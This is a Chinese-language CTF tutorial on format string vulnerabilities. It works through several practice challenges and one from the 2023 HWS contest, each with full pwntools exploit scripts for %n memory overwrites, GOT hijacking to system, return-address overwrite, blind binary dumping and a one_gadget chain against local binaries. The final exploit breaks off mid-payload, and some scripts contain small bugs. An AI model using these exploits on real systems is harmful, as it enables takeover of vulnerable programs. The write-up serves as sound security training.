掌握了栈溢出之后,我们将开始学习格式化字符串漏洞,希望接下来我的学习过程以及讲解对于你们有帮助。
这里我结合ctfwiki上的基础知识,并且结合我的理解,让和我一样的学习者更加容易理解。
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。
一般来说,格式化字符串在利用的时候主要分为三个部分
这里拿printf()举例,C 库函数 – printf() | 菜鸟教程 (runoob.com),在边阅读printf()的用法时,可以结合下面图片结合理解。
基本格式如下
%[parameter][flags][field width][.precision][length]type
这里每一个pattren的含义参考格式化字符串 - 维基百科,自由的百科全书 (wikipedia.org)
以printf()为例,这里我就说明一下常见的格式化字符串的含义
例如
printf("%s",padding)
这里我就不写上ctfwiki上的讲解了,我用我自己的理解描述一下
格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),偷懒写成了:printf(pad),此时就存在格式化字符串漏洞。
最简单的实例代码演示
#include
int main()
{
char pad[100];
scanf("%s", pad);
printf(pad);
return 0;
}
gcc编译一下32位程序
gcc fmt.c -o fmt -m32
直接测试一下
gdb动调一下,看一下漏洞实现的流程
可以发现,格式化参数%p会从栈顶指针+0x4的位置开始打印出栈上的数据
这里解释一下为什么printf会这么打印我们输入的字符串
正常来说,printf的用法如下
printf("%s", pad)
但是我们这里直接省略了pad,只有格式化字符串,因为printf为可变参数,32位linux系统下是用栈传递参数,栈顶指针esp是第一个参数,此时printf就会打印该字符串,如果进一步遇到格式化符号,比如这里的%p,那么就会以十六进制的方式打印第二个参数,但我们并没有传递第二个参数,所以系统还是将esp+0x4的位置当作第二个参数打印了,以此类推。
这里我将结合几个最简单的格式化字符串的题目,讲解一下格式化字符串有哪几种漏洞利用方式。
fmtstr1
覆盖内存(32位的格式化字符串)
前期准备工作
进行IDA静态分析
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-60h] [ebp-60h]
unsigned int v5; // [esp-10h] [ebp-10h]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&v4, 0, 0x50u);
read(0, &v4, 0x50u);
printf((const char *)&v4);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
分析一下,其实逻辑很简单,就是如果让x为4,程序自己就会进行getshell
其实就是写入4字节的数据
看一下x在程序的哪个字段
x_addr=0804A02C
现在我们x字段的地址知道了,我们可以利用%n将原有的x内容修改为自己想要的,现在就是看找哪一个格式化字符串参数是写在栈上的
gdb动调一下
第一个方框里面是printf()的第一个参数
下面的方框是格式化字符串的参数,可以看到第11个参数在栈上写入了我们输入的字符串,所以我们也就知道了要修改哪个地方的内容了
exp:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io=process('./pwn')
elf=ELF('./pwn')
x_addr=0x0804A02C
payload=p32(x_addr)+b"%11$n"
io.sendline(payload)
io.interactive()
fmtstr2
泄露栈内存(64位的格式化字符串)
前期准备工作
IDA静态分析
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+3h] [rbp-3Dh]
int i; // [rsp+4h] [rbp-3Ch]
int j; // [rsp+4h] [rbp-3Ch]
char *format; // [rsp+8h] [rbp-38h] BYREF
_IO_FILE *fp; // [rsp+10h] [rbp-30h]
char *v9; // [rsp+18h] [rbp-28h]
char v10[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v10[i] = _IO_getc(fp);
fclose(fp);
v9 = v10;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
v4 = format[j];
if ( !v4 || v10[j] != v4 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
}
}
printf("That's right, the flag is %s\n", v9);
fflush(_bss_start);
return 0;
}
这个逻辑相比与上一道题确实复杂了,但是有一定C语言或者其他语言的基础的话,其实也能明白这里的逻辑。
就是要让我们提交flag,如果正确则回显flag(感觉非常矛盾),否则就是进入提示错误。
这里有一个格式化字符串漏洞点,然而这题跟上一题思路又不一样,这题是已经告诉你flag了,所以我们需要利用%s让其地址上的内容经过解析显示即可。
现在思路有了,gdb动调看一下
这里我们在scanf打下断点
b *0x400840
输入字符之后步过到printf,看一下栈的情况
这里可以对比一下第一道格式化字符串例题,发现情况不同了,这其实也牵扯到了64位函数调用栈的结构
64位的前6个参数存储在寄存器中,顺序为rdi,rsi,rdx,rcx,r8.r9,但是由于ASLR的开启
我们是不知道第7个参数到底在哪里的,我们可以多写几个参数进行与栈上比对
可以看到前2个参数的地址一眼不是栈上的,而第3个是0x7ff开头的,所以是栈上的地址
其实也可以进行动调, x64 前 6 个参数存在寄存器上面,而第一个参数又是格式化字符串,所以这实际上就是第 5+4=9 个参数,所以 payload 就写 %9$s
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=process('./pwn')
elf=ELF('./pwn')
io.recvuntil(b"flag")
payload="%9$s"
io.sendline(payload)
io.interactive()
fmstr3
libc泄露&劫持GOT
前期准备工作
IDA静态分析一下
main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char s1; // [esp+14h] [ebp-2Ch]
int v5; // [esp+3Ch] [ebp-4h]
setbuf(stdout, 0);
ask_username(&s1);
ask_password(&s1);
while ( 1 )
{
while ( 1 )
{
print_prompt();
v3 = get_command();
v5 = v3;
if ( v3 != 2 )
break;
put_file();
}
if ( v3 == 3 )
{
show_dir();
}
else
{
if ( v3 != 1 )
exit(1);
get_file();
}
}
}
逆向分析一下main()函数的逻辑,
首先是设立了一个缓冲区,然后之后调用的ask_username(),ask_password()函数都共用同一块缓冲区
之后是一个无线循环,首先输出print_prompt(),然后用v3存储用户输入的结果,之后传递到v5,根据用户的输入值分别调用put_file()、show_dir()、exit(1)、get_file()函数
这里的漏洞点在get_file()
int get_file()
{
char dest; // [esp+1Ch] [ebp-FCh]
char s1; // [esp+E4h] [ebp-34h]
char *i; // [esp+10Ch] [ebp-Ch]
printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 40);
return printf(&dest);
}
}
return printf(&dest);
}
这里就是一个用户输入文件名,然后程序从链栈中进行查找,如果文件名字相同,则输出文件内容(除了flag)
这里需要主要一下printf()是直接打印出地址所指向的内容,所以存在格式化字符串漏洞
ask_username()
char *__cdecl ask_username(char *dest)
{
char src[40]; // [esp+14h] [ebp-34h]
int i; // [esp+3Ch] [ebp-Ch]
puts("Connected to ftp.hacker.server");
puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
printf("Name (ftp.hacker.server:Rainism):");
__isoc99_scanf("%40s", src);
for ( i = 0; i <= 39 && src[i]; ++i )
++src[i];
return strcpy(dest, src);
}
这个函数的逻辑就是,先定义了一块40个字节的缓冲区,将输入的字符依次加1,然后传给dest
(这里顺便讲解下午name:rxraclhm,根据逻辑是要字符串依次加一,所以我们都减一输入)
ask_password()
int __cdecl ask_password(char *s1)
{
if ( strcmp(s1, "sysbdmin") )
{
puts("who you are?");
exit(1);
}
return puts("welcome!");
}
这里就是将用户传入的用户名与sysbdmin进行对比是否相等,如果相等则进入main之后的内容
get_command()
signed int get_command()
{
char s1; // [esp+1Ch] [ebp-Ch]
__isoc99_scanf("%3s", &s1);
if ( !strncmp(&s1, "get", 3u) )
return 1;
if ( !strncmp(&s1, "put", 3u) )
return 2;
if ( !strncmp(&s1, "dir", 3u) )
return 3;
return 4;
}
这里使用strncmp()设定了3个有效命令,get,put,dir
put_file()
_DWORD *put_file()
{
_DWORD *v0; // ST1C_4
_DWORD *result; // eax
v0 = malloc(0xF4u);
printf("please enter the name of the file you want to upload:");
get_input(v0, 40, 1);
printf("then, enter the content:");
get_input(v0 + 10, 200, 1);
v0[60] = file_head;
result = v0;
file_head = (int)v0;
return result;
}
get_input()
signed int __cdecl get_input(int a1, int a2, int a3)
{
signed int result; // eax
_BYTE *v4; // [esp+18h] [ebp-10h]
int v5; // [esp+1Ch] [ebp-Ch]
v5 = 0;
while ( 1 )
{
v4 = (_BYTE *)(v5 + a1);
result = fread((void *)(v5 + a1), 1u, 1u, stdin);
if ( result <= 0 )
break;
if ( *v4 == 10 && a3 )
{
if ( v5 )
{
result = v5 + a1;
*v4 = 0;
return result;
}
}
else
{
result = ++v5;
if ( v5 >= a2 )
return result;
}
}
return result;
}
这两个函数一起解释,使用malloc()申请调用0xf4(244)个字节大小的空间,通过对于get_input()函数的分析,第一个参数是输入写入的起始地址,第二个参数是最大字节数,所以每一次调用put_file()函数,前40个字节是用来存放文件名的,然后200个字节是用来存放内容的,最后4字节是用来保存上一块空间的地址
show_dir()
int show_dir()
{
int v0; // eax
char s[1024]; // [esp+14h] [ebp-414h]
int i; // [esp+414h] [ebp-14h]
int j; // [esp+418h] [ebp-10h]
int v5; // [esp+41Ch] [ebp-Ch]
v5 = 0;
j = 0;
bzero(s, 0x400u);
for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
{
for ( j = 0; *(_BYTE *)(i + j); ++j )
{
v0 = v5++;
s[v0] = *(_BYTE *)(i + j);
}
}
return puts(s);
}
使用一个循环遍历上面得到的file_head,然后利用bzero()函数,将s设定为一个0x400的缓冲区,将内容传入缓冲区中,利用puts()函数输出结果
gdb动调
exp1:
from pwn import *
p = process('./pwn3')
context.log_level='debug'
context.arch='i386'
elf = ELF('./pwn3')
libc = ELF('./libc.so')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
#sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
r
sla(":",'rxraclhm')
pause()
ru("ftp>")
puts=elf.got['puts']
puts_libc=libc.symbols['puts']
def name_content(x,y):
p.sendline('put')
r
p.sendline(x)
r
p.sendline(y)
r
p.sendline('get')
r
p.sendline(x)
r
name_content("puts",b'%8$s'+p32(elf.got['puts']))
r
puts_addr=l32
#0x804a028
leak('puts',puts)
pause()
libcbase=0x804a028-puts_libc
leak('libcbase',libcbase)
system_addr=libcbase+libc.symbols['system']
binsh_addr=libcbase+next(libc.search(b'/bin/sh\00'))
name_content("ebp",b'a %70$d') #%70$d a 0x7f4fd52ae5e0 0x7f9e30b055e0
tmp = p.recv()
#print(tmp)
ebp = int(tmp.split(b'a ')[1].rstrip(b'ftp>'))
print(ebp)
esp = (ebp & 0x0FFFFFFF0) - 0x40
payload = fmtstr_payload(7, {esp+4: binsh_addr})
name_content('binsh', payload)
r
payload = fmtstr_payload(7, {esp-4: system_addr})
name_content('system', payload)
r
p.interactive()
我会从5部分讲解我的exp
显然是可以的
我们知道,在esp没有被下移的时候,esp中存储着main函数的ebp,现在下移了,我们是不是可以通过这一部分下移的距离泄露获取ebp的地址呢
0x118=280
280//4=70
所以我们第70个参数是ebp的地址
(这里我前面加上a 是为了之后对于这ebp地址的提取)
这里前面进行了一个赋值处理,对于esp进行了一个逻辑与运算,之后又进行下移0x40的距离
fmtstr_payload(偏移,{原地址:目标地址})
对于这里为什么写入esp+4,esp-4,我是这么理解的,要首先了解x86架构下32位ret2libc的内存
esp中存储着main()的ebp,我们如果要写入函数以及参数并且调用,可以写入esp+4,esp-4,也就是前后各一位,这样的话预留返回地址就是main(),栈会立即进行调用
exp2:
from pwn import *
p = process('./pwn3')
context.log_level='debug'
context.arch='i386'
elf = ELF('./pwn3')
libc = ELF('./libc.so')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def put(x,y):
sl('put')
ru(":")
sl(x)
ru(":")
sl(y)
def get(z):
sl('get')
ru(":")
sl(z)
r
sla(":",'rxraclhm')
pause()
ru("ftp>")
puts=elf.got['puts']
puts_libc=libc.symbols['puts']
r
puts_addr=l32
puts_real=0x804a028
#0x804a028
leak('puts',puts)
pause()
libcbase=0x804a028-puts_libc
leak('libcbase',libcbase)
system_addr=libcbase+libc.symbols['system']
payload = fmtstr_payload(7, {puts:system_addr})
put('/bin/sh', payload)
get('/bin/sh')
p.sendline('dir')
p.interactive()
这里我从三部分讲解
最后这里执行了一个puts(),如果我们替换了puts为system,然后内容写上/bin/sh,是不是直接getshell了呢
PS:对于get_file我也有这样替换printf的地址的想法,但是觉得有些麻烦,师傅们可以尝试一下看一下这个思路可以吗
fmstr4
劫持ret_addr
file&checksec
64位程序,而且开启了full relro以及Nx保护,这样的话远程是有ASLR保护的,而且got表不能进行修改了
IDA静态分析一下(这里我为了方便做题,将一些函数进行了相应名字的修改)
大致就是一个注册登录的程序,输入1就是展示账户信息,输入2就是修改账户信息,输入3是退出程序
漏洞函数
int __fastcall loudong(int a1, int a2, int a3, int a4, int a5, int a6, __int64 format, int a8, __int64 a9)
{
write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf((const char *)&format);
return printf((const char *)&a9 + 4);
}
后门函数
// positive sp value has been detected, the output may be wrong!
int backdoor()
{
return system("/bin/sh");
}
sub_400903
_QWORD *__fastcall sub_400903(
_QWORD *a1,
int a2,
int a3,
int a4,
int a5,
int a6,
__int64 buf,
__int64 a8,
__int64 a9,
__int64 a10,
__int64 a11)
{
unsigned __int8 v12; // [rsp+1Fh] [rbp-1h]
puts("Register Account first!");
puts("Input your username(max lenth:20): ");
fflush(stdout);
v12 = read(0, &buf, 0x14uLL);
if ( v12 && v12 <= 0x14u )
{
puts("Input your password(max lenth:20): ");
fflush(stdout);
read(0, (char *)&a9 + 4, 0x14uLL);
fflush(stdout);
*a1 = buf;
a1[1] = a8;
a1[2] = a9;
a1[3] = a10;
a1[4] = a11;
}
else
{
LOBYTE(buf) = 48;
puts("error lenth(username)!try again");
fflush(stdout);
*a1 = buf;
a1[1] = a8;
a1[2] = a9;
a1[3] = a10;
a1[4] = a11;
}
return a1;
}
这里可以看到上面漏洞函数的printf的参数其实就是我们输入的passwd,动调测试一下
由于存在nx保护,我们是不知道写在栈上的参数具体在哪的,我们可以测试一下
看到0x7ff开头,这种就是写在栈上的,所以我们知道要利用第6个参数了
(这里要注意一下程序是64位的,函数中前6个参数是存储在寄存器中的,我们的printf的第一个参数是格式化字符串)
所以我们就知道格式化字符串的偏移了(5+3=8),这里的0x400d74是跳转的地址,然后前面的0x7fffffffde28是用来调用这个跳转地址的函数地址(其实也可以说是存储着这个跳转地址的一个地址),由于远程默认开启aslr保护,这样的话地址就会随机,但是距离这个函数的帧顶的距离是不变的,我们可以算出这个距离值,所以如果我们知道了rbp的值,知道了偏移值,那么返回地址也就知道了
可以用下图进行理解
偏移量
0x60-0x28=56
hex(56)=0x38
```
然后我们得到真实地址之后,就可以利用2中的修改,将ret_addr修改为后门函数地址
后门函数地址:0x4008A6
原跳转地址:0x400d74
我们现在已经控制了存储跳转地址的地址,现在只要将跳转地址给覆盖为后门函数即可,这样就可以调用存储的函数地址进而调用后门函数
我们可以利用格式化字符串的%n,这里要注意一下,%n把已经成功输出的字符个数写入对应的整型指针参数所指的变量,注意一下,这里我们得到的真实地址是之前不存在的,所以我们要在新的username写入ret_addr,再利用%n可以修改ret_addr指向空间内的值,从而修改跳转地址。
```
0x4008A6(hex)->0x08A6(hex)->2214(d)
```
exp:
```
from pwn import *
p = process('./pwn')
context.log_level='debug'
context.arch='amd64'
elf = ELF('./pwn')
p.recv()
p.sendline('a'*8)
p.recv()
#sla(":",'%5$p%6$p%7$p%8$p')
#(nil)0x7ffe256915700x400d740x2435250a61616161
p.sendline('%6$p')
p.recvuntil(">")
p.sendline("1")
p.recvuntil('\n')
tmp=p.recvuntil('\n')
ret_addr=int(tmp.decode(),16)-0x38
#leak('ret_addr',ret_addr)
p.sendline('2')
p.recv()
p.sendline(p64(ret_addr))
p.recv()
p.sendline('%2218d%8$hn')
p.recv()
p.sendline('1')
p.recv()
p.interactive()
```
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/b6c79e93e2e18f97023d02641b60d1f1.png)
**fmstr5**
**盲打泄露栈**
部署好环境之后,在自己本地9999端口起环境,尝试直接读取地址,
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/8a575309095f1d85b89941079f11b096.png)
显然是存在格式化字符串漏洞的,直接写一个循环
```
from pwn import *
context.log_level = 'error'
def leak(payload):
sh = remote('127.0.0.1', 9999)
sh.sendline(payload)
data = sh.recvuntil('\n', drop=True)
if data.startswith('0x'):
print(p64(int(data.deocde(), 16)))
sh.close()
i = 1
while 1:
payload = '%{}$p'.format(i)
leak(payload)
i += 1
```
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/f26fa1ccd5666704d059e50fecf6cb4e.png)
**fmstr6**
**盲打劫持GOT**
本题是在**Ubantu16.04**上进行测试的
源码
```
#include
#include
#include
int main(int argc, char *argv[])
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
int flag;
char buf[1024];
FILE* f;
puts("What's your name?");
fgets(buf, 1024, stdin);
printf("Hi, ");
printf("%s",buf);
putchar('\n');
flag = 1;
while (flag == 1){
puts("Do you want the flag?");
memset(buf,'\0',1024);
read(STDIN_FILENO, buf, 100);
if (!strcmp(buf, "no\n")){
printf("I see. Good bye.");
return 0;
}else
{
printf("Your input isn't right:");
printf(buf);
printf("Please Try again!\n");
}
fflush(stdout);
}
return 0;
}
```
gcc编译32位程序
```
gcc -z execstack -fno-stack-protector -m32 -o leakmemory leakmemory.c
```
利用socat本地起环境,真实环境就是只有一个交互环境,不给你可执行文件。
```
socat TCP4-LISTEN:11112,fork EXEC:./pwn
```
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/805b67903286145f20c5b6a0b219c695.png)
这里经过测试,发现是32位程序,而且漏洞点在输入`Do you want the flag?`,格式化字符串偏移为7
(TIPS:32位可以先进行4字节的填充,64字节可以先进行8字节的填充,便于观察偏移量)
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/9ff51f47f320afba58b1ae72fd932f61.png)
```
aaaa->0x61616161
```
接下来就是要dump程序了
dump 程序,也就是想获取我们所给定地址的内容,而不是获取我们给定的地址。所以应该用 %n$s 把我们给定地址当作指针,输出给定地址所指向的字符串。结合前面知道格式化字符串偏移为 7 ,payload 应该为:`%9$s.TMP[addr]`
(这里其实和fmtstr3一样的逻辑,小端序程序,在低地址又多写入了2个参数,一个是分隔符.tmp字符串,一个是返回地址,相当于又抬高了栈,所以偏移为9)
注意:使用 %s 进行输出并不是一个字节一个字节输出,而是一直输出直到遇到 \x00 截止符才会停止,也就是每次泄露的长度是不确定的,可能很长也可能是空。因为 .text 段很可能有连续 \x00 ,所以泄露脚本处理情况有:
1. 针对每次泄露长度不等,addr 根据每次泄露长度动态增加;
2. 泄露字符串可能为空,也就是如何处理 \x00 ;
接下来就是要泄露程序的初始地址
方法一:从程序加载地址开始
32 位:从 0x8048000 开始泄露
64 位:从 0x400000 开始泄露
leak.py
```
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii
r = remote('127.0.0.1',11112)
def leak(addr):
payload = "%9$s.TMP" + p32(addr)
r.sendline(payload)
print "leaking:", hex(addr)
r.recvuntil('right:')
ret = r.recvuntil(".TMP",drop=True)
print "ret:", binascii.hexlify(ret), len(ret)
#使用binascii 将泄漏出来字符串每一个都从 ascii 转换为 十六进制,方便显示
remain = r.recvrepeat(0.2)
#r.recvrepeat(0.2) 接受返回的垃圾数据,方便下一轮的输入
return ret
# name
r.recv()
r.sendline('nameaaa')
r.recv()
# leak
begin = 0x8048000
text_seg =''
try:
while True:
ret = leak(begin)
text_seg += ret
begin += len(ret)
#泄漏地址动态增加,假如泄漏 1 字节就增加 1 ;泄漏 3 字节就增加 3
if len(ret) == 0: # nil
begin +=1
text_seg += '\x00'
#处理泄漏长度为 0 ,也就是数据是 \x00 的情况。地址增加 1 ,程序数据加 \x00
except Exception as e:
print e
finally:
print '[+]',len(text_seg)
with open('dump_bin','wb') as f:
f.write(text_seg)
```
通过上述leak.py,我们可以在程序加载地址开始就泄露二进制文件,之后可以将获得的文件放入IDA
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/22f46b9b4254aba3d24420ff77305e53.png)
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/c8b76b42fb0ee598cb4a362f72ad194b.png)
可以对比一下我们给出的源代码,因为是盲打,不会有函数的名称,可以根据传入参数进行判断函数名称,比如 sub_8048490 就是 printf 。
方法二:从.text段开始
先用 %p 泄露出栈上数据,找到两个相同地址,而且这个地址很靠近程序加载初地址(32位:0x8048000;64位:0x400000)。
load.py
```
from pwn import *
import sys
p = remote('127.0.0.1',11112)
p.recv()
p.sendline('nameaaa')
p.recv()
def where_is_start(ret_index=null):
return_addr=0
for i in range(400):
payload = '%%%d$p.TMP' % (i)
p.sendline(payload)
p.recvuntil('right:')
val = p.recvuntil('.TMP')
log.info(str(i*4)+' '+val.strip().ljust(10))
if(i*4==ret_index):
return_addr=int(val.strip('.TMP').ljust(10)[2:],16)
return return_addr
p.recvrepeat(0.2)
start_addr=where_is_start()
```
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/07b5c05693d507afdc3760ec0bcbc095.png)
我们在1164与1188的地方找到了加载始地址
之后把leak.py修改一下即可
```
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii
r = remote('127.0.0.1',11112)
def leak(addr):
payload = "%9$s.TMP" + p32(addr)
r.sendline(payload)
print "leaking:", hex(addr)
r.recvuntil('right:')
ret = r.recvuntil(".TMP",drop=True)
print "ret:", binascii.hexlify(ret), len(ret)
#使用binascii 将泄漏出来字符串每一个都从 ascii 转换为 十六进制,方便显示
remain = r.recvrepeat(0.2)
#r.recvrepeat(0.2) 接受返回的垃圾数据,方便下一轮的输入
return ret
# name
r.recv()
r.sendline('nameaaa')
r.recv()
# leak
begin = 0x8048510
text_seg =''
try:
while True:
ret = leak(begin)
text_seg += ret
begin += len(ret)
#泄漏地址动态增加,假如泄漏 1 字节就增加 1 ;泄漏 3 字节就增加 3
if len(ret) == 0: # nil
begin +=1
text_seg += '\x00'
#处理泄漏长度为 0 ,也就是数据是 \x00 的情况。地址增加 1 ,程序数据加 \x00
except Exception as e:
print e
finally:
print '[+]',len(text_seg)
with open('dump_bin','wb') as f:
f.write(text_seg)
```
之后也是导入IDA中,偏移地址改为我们找到的起始地址,红色部分就是没有泄露的函数,后面跟的函数的plt地址
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/4b26682beb0e04984c2b06dd1186c5a0.png)
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/864167c087ae5971a57b7acbb74617f3.png)
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/3f2270520ec695de13f62a625e52b2ee.png)
从三部分分析exp
- 第一部分,这是经过测试出来的,
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/66cc0e99a7d0b9db1c4035504cc284a3.png)
这里第一部分经过搜集资料知道了这里是无关字节,可以用\xff\x25表示无用字节码,然后后面4个字节就是我们需要的printf的got表地址
- 第二部分,这里也是测试出来的,跟上面同理,只不过没有了无用字节码了
- 第三部分,这里是用了pwntools中的fmtstr_payload函数,因为我们实际上调用的还是printf@got,就把printf@got的地址改为了system的地址,从而执行system,之后我们再手动传参一个/bin/sh从而getshell
exp:
```
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii
context.log_level='debug'
context.arch='i386'
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
p = remote('127.0.0.1',10002)
#elf=ELF('./dump_bin')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#p=process('./dump_bin')
printf_plt=0x08048490
name='aaaa'
p.sendline(name)
p.recv()
payload=b'%9$saaaa'+p32(printf_plt)
p.sendline(payload)
p.recvuntil('right:')
p.recvuntil('\xff\x25')
printf_got=u32(p.recv(4))
leak('printf_got',printf_got)
p.recv()
payload1=b'%9$saaaa'+p32(printf_got)
p.sendline(payload1)
p.recvuntil('right:')
printf=u32(p.recv(4))
leak('printf',printf)
libcbase=printf-libc.symbols['printf']
leak('libcbase',libcbase)
system=libcbase+libc.symbols['system']
leak('system',system)
shell=fmtstr_payload(7, {printf_got: system})
p.sendline(shell)
p.sendline('/bin/sh\00')
p.interactive()
```
**2023HWS fmt**
在学习完格式化字符串之后,尝试下去打了HWS的fmt这道题,比赛时还差一点打出来,赛后在其他师傅的指导下打出来了
**file&checksec**
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/207a579e5933520f7325872f4fda8a8a.png)
保护全开的格式化字符串
**IDA静态分析一下**
main()
```
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
run();
return 0;
}
```
run()
```
unsigned __int64 run()
{
char s1[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("I need a str: ");
read_n(s1, 80LL);
if ( !strcmp(s1, "EXIT") )
exit(0);
printf(s1);
putchar(10);
printf("I need other str: ");
read_n(s1, 80LL);
printf(s1);
return __readfsqword(0x28u) ^ v2;
}
```
可以看到这里其实就是格式化字符串的漏洞利用点了
第一个printff泄露栈上数据,得到libc基址,栈基址以及elf文件基址。第二次printf利用先前泄露的地址,通过%hhn,修改run函数返回地址的低位字节,将其修改为main函数中的call run指令。
这样当我们执行完run之后会再次调用run,我们可以每次printf都往run函数的返回地址下方写入rop链,并将run的返回地址修改为call run,这样返回到rop链在run的返回地址下布置好,最后一次再把run的返回地址改为与其相近的ret指令地址即可执行rop链从而getshell。
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/blog/ab829a992e4c4b71829d9d87eda185b4.png)
exp:
```
from pwn import *
context.log_level='debug'
context.arch='amd64'
p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p,'b *$rebase(0x13aa)')
pause()
payload='%19$p,%9$p,%14$p'
#dbg()
sl(payload)
ru(b'0x')
pie=int(p.recv(12),16)-elf.sym['main']-28
ru(b'0x')
libcbase=int(p.recv(12),16)-libc.sym['_IO_file_setbuf']-13
ru(b'0x')
rbp=int(p.recv(12),16)
ret=rbp+8
__libc_start=ret+0x10
print('libc :'+hex(libcbase))
print('pie :'+hex(pie))
print('stack :'+hex(ret))
print('__libc_start :'+hex(__libc_start))
# _IO_file_setbuf+13
ogg=[0xe3afe,0xe3b01,0xe3b04]
o=libcbase+ogg[1]
leave=(0x01301+pie)&0xff
print('leave :'+hex(leave))
ogg1=o&0xff
ogg2=(o>>8)&0xff
ogg3=(o>>16)&0xff
print('o ogg1 ogg2 ogg3',hex(o),hex(ogg1),hex(ogg2),hex(ogg3))
payload=b'%'+str(ogg1).encode()+b'c%11$hhn'
